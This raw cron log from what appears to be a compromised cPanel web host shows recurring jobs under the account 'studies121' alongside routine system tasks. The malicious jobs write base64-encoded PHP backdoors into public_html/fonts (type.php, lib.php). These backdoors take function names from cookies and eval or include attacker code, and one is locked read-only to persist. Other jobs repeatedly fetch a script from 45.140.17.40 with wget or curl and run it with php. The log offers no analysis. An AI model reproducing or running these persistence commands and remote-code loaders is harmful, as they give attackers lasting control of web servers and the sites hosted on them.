Sep 21 20:00:02 ip-184-168-122-23 CROND[7674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:00:02 ip-184-168-122-23 CROND[7677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:00:02 ip-184-168-122-23 CROND[7670]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:00:02 ip-184-168-122-23 CROND[7671]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 21 20:00:02 ip-184-168-122-23 CROND[7676]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:01:01 ip-184-168-122-23 CROND[7796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:01:01 ip-184-168-122-23 CROND[7797]: (root) CMD (run-parts /etc/cron.hourly)
Sep 21 20:01:01 ip-184-168-122-23 CROND[7799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7797]: starting 0anacron
Sep 21 20:01:01 ip-184-168-122-23 CROND[7802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:01:01 ip-184-168-122-23 CROND[7810]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7811]: finished 0anacron
Sep 21 20:01:01 ip-184-168-122-23 CROND[7813]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:02:01 ip-184-168-122-23 CROND[7910]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:02:01 ip-184-168-122-23 CROND[7912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:02:01 ip-184-168-122-23 CROND[7911]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:02:01 ip-184-168-122-23 CROND[7915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:02:01 ip-184-168-122-23 CROND[7916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:03:01 ip-184-168-122-23 CROND[8110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:03:01 ip-184-168-122-23 CROND[8111]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:03:01 ip-184-168-122-23 CROND[8114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:03:01 ip-184-168-122-23 CROND[8115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:04:01 ip-184-168-122-23 CROND[8227]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:04:01 ip-184-168-122-23 CROND[8228]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:04:01 ip-184-168-122-23 CROND[8229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:04:01 ip-184-168-122-23 CROND[8232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:04:01 ip-184-168-122-23 CROND[8234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:05:01 ip-184-168-122-23 CROND[8339]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 20:05:01 ip-184-168-122-23 CROND[8340]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:05:01 ip-184-168-122-23 CROND[8343]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 20:05:01 ip-184-168-122-23 CROND[8344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:05:01 ip-184-168-122-23 CROND[8345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:05:01 ip-184-168-122-23 CROND[8349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:05:01 ip-184-168-122-23 CROND[8350]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 20:06:01 ip-184-168-122-23 CROND[8463]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:06:01 ip-184-168-122-23 CROND[8465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:06:01 ip-184-168-122-23 CROND[8466]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:06:01 ip-184-168-122-23 CROND[8468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:06:01 ip-184-168-122-23 CROND[8467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:07:01 ip-184-168-122-23 CROND[8576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:07:01 ip-184-168-122-23 CROND[8579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:07:01 ip-184-168-122-23 CROND[8578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:07:01 ip-184-168-122-23 CROND[8580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:08:01 ip-184-168-122-23 CROND[8680]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:08:01 ip-184-168-122-23 CROND[8681]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:08:01 ip-184-168-122-23 CROND[8683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:08:01 ip-184-168-122-23 CROND[8684]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:08:01 ip-184-168-122-23 CROND[8685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:09:01 ip-184-168-122-23 CROND[8783]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:09:01 ip-184-168-122-23 CROND[8786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:09:01 ip-184-168-122-23 CROND[8788]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 20:09:01 ip-184-168-122-23 CROND[8787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:09:01 ip-184-168-122-23 CROND[8785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:10:01 ip-184-168-122-23 CROND[8994]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 20:10:01 ip-184-168-122-23 CROND[8995]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 20:10:01 ip-184-168-122-23 CROND[9001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:10:01 ip-184-168-122-23 CROND[8998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:10:01 ip-184-168-122-23 CROND[8997]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:10:01 ip-184-168-122-23 CROND[9000]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:10:01 ip-184-168-122-23 CROND[8999]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 20:10:01 ip-184-168-122-23 CROND[9002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:11:01 ip-184-168-122-23 CROND[9122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:11:01 ip-184-168-122-23 CROND[9125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:11:01 ip-184-168-122-23 CROND[9124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:11:01 ip-184-168-122-23 CROND[9126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
